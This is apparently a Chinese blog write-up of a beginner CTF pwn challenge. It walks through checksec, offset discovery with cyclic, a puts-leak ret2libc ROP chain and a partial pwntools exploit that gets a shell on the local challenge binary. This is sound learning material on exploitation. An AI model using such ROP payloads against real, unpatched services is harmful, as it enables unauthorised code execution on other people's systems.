Pwn题解日志分析

极客

Pwn题解日志分析:从崩溃到Getshell的完整复盘

大家好呀!今天想跟你们聊聊我最近做的一道Pwn题,顺便把整个Pwn题解日志分析的过程整理出来,说实话,这道题折腾了我整整一个晚上,心态差点崩了,但最后拿到shell的那一刻,真的爽到飞起!所以这篇文章我打算写得详细一点,既是给自己留个记录,也希望能帮到正在入门Pwn的小伙伴们。 初探:这玩意儿到底想干嘛? 之后,第一步肯定是checksec嘛,这个习惯一定要养成,结果一看:

Pwn题解日志分析

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

哎哟,没开Canary,还没开PIE,NX开了,看到这个配置我心里就咯噔一下——这不是明摆着让我栈溢出嘛!但是NX开了意味着不能直接往栈上写shellcode执行,得走ROP的路子。

然后我就用IDA把程序拖进去看了看,主函数逻辑很简单,就一个read读进来一大堆数据到栈上的buf里,buf大小是0x20,但是read读了0x100个字节……这不溢出溢得明明白白吗?哈哈,出题人真是贴心。

漏洞定位:Pwn题解日志分析的关键一步

Pwn题解日志分析的时候,我觉得最关键的一步就是精确定位溢出点,光知道能溢出没用,你得算清楚偏移量是多少,覆盖到ret的时候具体是多少字节。

我一开始偷懒,随手估了个40,结果程序跑起来直接SIGSEGV,气得我拍桌子,后来老老实实用cyclic生成了200个字符的pattern,扔进gdb里跑,看RIP被覆盖成了什么值:

RIP: 0x6161616161616166 ('faaaaaaa')

再用cyclic -l faaaaaaa一算,偏移是40,嗯,跟我最开始估的差不多嘛,但就是这几字节的差距,能让整个exploit从“能跑”变成“跑不通”,所以Pwn题解日志分析这种事,真的不能凭感觉,一定要用工具确认。

ROP链构造:找gadget找到眼瞎

接下来就是找gadget了,因为程序里没有现成的system调用,也没有/bin/sh字符串,所以我打算用ret2libc的思路,可是题目没给libc文件啊!怎么办?

我首先想到的是用pop rdi; ret这种gadget先把puts的GOT地址泄露出来,然后再返回到main重新跑一遍,第二次再用泄露出来的地址算libc基址,最后调用system("/bin/sh")

ROPgadget一搜,还不错,pop rdi; ret是有的,然后puts@pltputs@got也都有,于是我构造了第一段payload:

payload = b'A' * 40
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

跑起来之后果然泄露出了puts的真实地址,那一刻我差点喊出来“成了”!…等等,泄露出来的地址末尾是\x00怎么办?puts遇到\x00会截断啊!我当时就愣住了。

后来查了一下,发现其实puts泄露的时候,虽然末尾有\x00,但因为我们是在64位环境下,地址一般是6字节左右,puts输出到\x00就停,但前6个字节足够我们算出libc基址了,虚惊一场,哈哈哈哈。

Pwn题解日志分析中的心态管理

说真的,做Pwn题最折磨人的不是技术难度,而是那种“明明感觉快成了但就是差一点”的煎熬,我在调第二段payload的时候,system的地址总是算错,调了大概七八次,每次都是SIGSEGV,后来才发现是我用的libc数据库版本跟题目环境对不上,换了个libc-database查出来的版本,一下子就通了。

所以啊,做Pwn题解日志分析的时候,记录每一次尝试真的很重要,我当时就在笔记本上写:第一次偏移40、泄露地址正确、libc版本不匹配、换版本后成功,这种日志看起来傻乎乎的,但回头复盘的时候特别有用。

最终Getshell:那一刻的快乐

最后跑通的exp大概是这样:

from pwn import *
p = process('./pwn')
# 第一段泄露
...
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
# 第二段getshell
payload2 = b'A' * 40 + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendline(payload2)
p.interactive()

当那个提示符跳出来的时候,我整个人都瘫在椅子上了,哈哈哈哈,虽然这只是一道很基础的ret2libc题,但对于我这种Pwn新手来说,真的是一个里程碑。

Pwn题解日志分析给我带来的成长

回过头来看,这道题让我学会了几个东西:第一,checkseccyclic是必须熟练的工具;第二,Pwn题解日志分析一定要有耐心,不能急;第三,libc版本真的能坑死人,一定要提前准备好libc-database

如果你也在做Pwn题,我真心建议你养成写题解日志的习惯,不用写得多正式,哪怕就是记一下偏移、记一下踩过的坑,时间长了你会发现这些日志就是你最好的老师,好了,今天的分享就到这里,我要去继续刷下一道题啦!有什么问题欢迎在评论区一起交流哦,拜拜~

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]